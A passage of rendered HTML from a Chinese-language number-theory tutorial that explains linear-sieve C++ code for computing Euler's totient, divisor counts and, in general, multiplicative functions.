class="strut" style="height:1.0019em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8352em;vertical-align:-0.0833em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>，再計算<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ϕ</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\phi(n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span>，就能保證<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ϕ</mi><mo stretchy="false">(</mo><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\phi(n^\prime)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0019em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>在<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ϕ</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\phi(n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span>之前算出來。</p><h2 id="%E7%A8%8B%E5%BC%8F%E5%AF%A6%E4%BD%9C" tabindex="-1" id="程式實作">程式實作</h2><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span><span class="token string">&lt;bits/stdc++.h></span></span>std<span class="token double-colon punctuation">::</span>vector<span class="token operator">&lt;</span><span class="token keyword">int</span><span class="token operator">></span> prime<span class="token punctuation">;</span><span class="token keyword">bool</span> not_prime<span class="token punctuation">[</span>N<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">int</span> phi<span class="token punctuation">[</span>N<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">void</span> <span class="token function">pre</span><span class="token punctuation">(</span><span class="token keyword">int</span> n<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  phi<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i<span class="token operator">=</span><span class="token number">2</span><span class="token punctuation">;</span> i<span class="token operator">&lt;=</span>n<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>not_prime<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        prime<span class="token punctuation">.</span><span class="token function">push_back</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span><span class="token punctuation">;</span>        phi<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> i<span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span> <span class="token comment">// 新增</span>  <span class="token punctuation">&#125;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> p <span class="token operator">:</span> prime<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>i<span class="token operator">*</span>p <span class="token operator">></span> n<span class="token punctuation">)</span> <span class="token keyword">break</span><span class="token punctuation">;</span>      not_prime<span class="token punctuation">[</span>i<span class="token operator">*</span>p<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token boolean">true</span><span class="token punctuation">;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>i<span class="token operator">%</span>p <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        phi<span class="token punctuation">[</span>i<span class="token operator">*</span>p<span class="token punctuation">]</span> <span class="token operator">=</span> p<span class="token operator">*</span>phi<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// 新增</span>        <span class="token keyword">break</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>      phi<span class="token punctuation">[</span>i<span class="token operator">*</span>p<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">(</span>p<span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token operator">*</span>phi<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// 新增</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h1 id="%E7%B7%9A%E6%80%A7%E7%AF%A9%E6%B1%82%E6%AD%A3%E5%9B%A0%E6%95%B8%E5%80%8B%E6%95%B8" tabindex="-1">線性篩求正因數個數</h1><h2 id="%E8%AA%AA%E6%98%8E" tabindex="-1" id="說明">說明</h2><p>用類似的分析方法，這次我們維護三個陣列：<code>not_prime</code>、<code>num</code>、<code>d</code>，其中<code>num</code>紀錄<code>num[k]</code>表示<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span>的最小質因數在<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span>的標準分解式的次數，<code>d[k]</code>表示<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span>的正因數個數。</p><ol><li>對於質數<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi></mrow><annotation encoding="application/x-tex">p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span>，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mi>u</mi><mi>m</mi><mo stretchy="false">(</mo><mi>p</mi><mo stretchy="false">)</mo><mo>=</mo><mn>1</mn><mo separator="true">,</mo><mi>d</mi><mo stretchy="false">(</mo><mi>p</mi><mo stretchy="false">)</mo><mo>=</mo><mn>2</mn></mrow><annotation encoding="application/x-tex">num(p) = 1, d(p) = 2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">n</span><span class="mord mathnormal">u</span><span class="mord mathnormal">m</span><span class="mopen">(</span><span class="mord mathnormal">p</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord mathnormal">p</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span></li><li>對於合數<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>=</mo><msub><mi>p</mi><mi>n</mi></msub><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup></mrow><annotation encoding="application/x-tex">n=p_nn^\prime</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9463em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span>，其中<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>p</mi><mi>n</mi></msub></mrow><annotation encoding="application/x-tex">p_n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>的最小質因數<ol><li>若<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>p</mi><mi>n</mi></msub><mo>∣</mo><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup></mrow><annotation encoding="application/x-tex">p_n \mid n^\prime</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∣</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7519em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span>，則<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mi>u</mi><mi>m</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo><mo>=</mo><mi>n</mi><mi>u</mi><mi>m</mi><mo stretchy="false">(</mo><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup><mo stretchy="false">)</mo><mo>+</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">num(n)=num(n^\prime)+1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">n</span><span class="mord mathnormal">u</span><span class="mord mathnormal">m</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0019em;vertical-align:-0.25em;"></span><span class="mord mathnormal">n</span><span class="mord mathnormal">u</span><span class="mord mathnormal">m</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>、<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo><mo>=</mo><mi>d</mi><mo stretchy="false">(</mo><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup><mo stretchy="false">)</mo><mfrac><mrow><mi>n</mi><mi>u</mi><mi>m</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo><mo>+</mo><mn>1</mn></mrow><mrow><mi>n</mi><mi>u</mi><mi>m</mi><mo stretchy="false">(</mo><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup><mo stretchy="false">)</mo><mo>+</mo><mn>1</mn></mrow></mfrac></mrow><annotation encoding="application/x-tex">d(n)=d(n^\prime)\frac{num(n)+1}{num(n^\prime)+1}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.53em;vertical-align:-0.52em;"></span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.01em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">m</span><span class="mopen mtight">(</span><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6828em;"><span style="top:-2.786em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mclose mtight">)</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.485em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">m</span><span class="mopen mtight">(</span><span class="mord mathnormal mtight">n</span><span class="mclose mtight">)</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.52em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></li><li>若<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>p</mi><mi>n</mi></msub><mo>∤</mo><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup></mrow><annotation encoding="application/x-tex">p_n \nmid n^\prime</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9925em;vertical-align:-0.2514em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel amsrm">∤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7519em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span>，則<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mi>u</mi><mi>m</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">num(n)=1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">n</span><span class="mord mathnormal">u</span><span class="mord mathnormal">m</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>、<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo><mo>=</mo><mi>d</mi><mo stretchy="false">(</mo><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup><mo stretchy="false">)</mo><mo stretchy="false">(</mo><mi>n</mi><mi>u</mi><mi>m</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo><mo>+</mo><mn>1</mn><mo stretchy="false">)</mo><mo>=</mo><mn>2</mn><mi>d</mi><mo stretchy="false">(</mo><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">d(n)=d(n^\prime)(num(n)+1)=2d(n^\prime)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0019em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mord mathnormal">u</span><span class="mord mathnormal">m</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0019em;vertical-align:-0.25em;"></span><span class="mord">2</span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></li></ol></li></ol><h2 id="%E7%A8%8B%E5%BC%8F" tabindex="-1" id="程式">程式</h2><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span><span class="token string">&lt;bits/stdc++.h></span></span>std<span class="token double-colon punctuation">::</span>vector<span class="token operator">&lt;</span><span class="token keyword">int</span><span class="token operator">></span> prime<span class="token punctuation">;</span><span class="token keyword">bool</span> not_prime<span class="token punctuation">[</span>N<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">int</span> num<span class="token punctuation">[</span>N<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">int</span> d<span class="token punctuation">[</span>N<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">void</span> <span class="token function">pre</span><span class="token punctuation">(</span><span class="token keyword">int</span> n<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  d<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i<span class="token operator">=</span><span class="token number">2</span><span class="token punctuation">;</span> i<span class="token operator">&lt;=</span>n<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>not_prime<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        prime<span class="token punctuation">.</span><span class="token function">push_back</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span><span class="token punctuation">;</span>        d<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span>        num<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> p <span class="token operator">:</span> prime<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>i<span class="token operator">*</span>p <span class="token operator">></span> n<span class="token punctuation">)</span> <span class="token keyword">break</span><span class="token punctuation">;</span>      not_prime<span class="token punctuation">[</span>i<span class="token operator">*</span>p<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token boolean">true</span><span class="token punctuation">;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>i<span class="token operator">%</span>p <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        num<span class="token punctuation">[</span>i<span class="token operator">*</span>p<span class="token punctuation">]</span> <span class="token operator">=</span> num<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">;</span>        d<span class="token punctuation">[</span>i<span class="token operator">*</span>p<span class="token punctuation">]</span> <span class="token operator">=</span> d<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token operator">*</span><span class="token punctuation">(</span>num<span class="token punctuation">[</span>i<span class="token operator">*</span>p<span class="token punctuation">]</span><span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token operator">/</span><span class="token punctuation">(</span>num<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">break</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>      num<span class="token punctuation">[</span>i<span class="token operator">*</span>p<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span>      d<span class="token punctuation">[</span>i<span class="token operator">*</span>p<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">2</span><span class="token operator">*</span>d<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h1 id="%E7%B7%9A%E6%80%A7%E7%AF%A9%E6%B1%82%E7%A9%8D%E6%80%A7%E5%87%BD%E6%95%B8" tabindex="-1">線性篩求積性函數</h1><p>從上面兩個例子，我們其實可以將其推廣到更多的積性函數<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>f</mi><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">f(x)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.1076em;">f</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span></span></span></span>(如正因數和、莫比烏斯函數等)，分析步驟如下：</p><ol><li>考慮怎麼算<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>f</mi><mo stretchy="false">(</mo><mi>p</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">f(p)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.1076em;">f</span><span class="mopen">(</span><span class="mord mathnormal">p</span><span class="mclose">)</span></span></span></span>，其中<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi></mrow><annotation 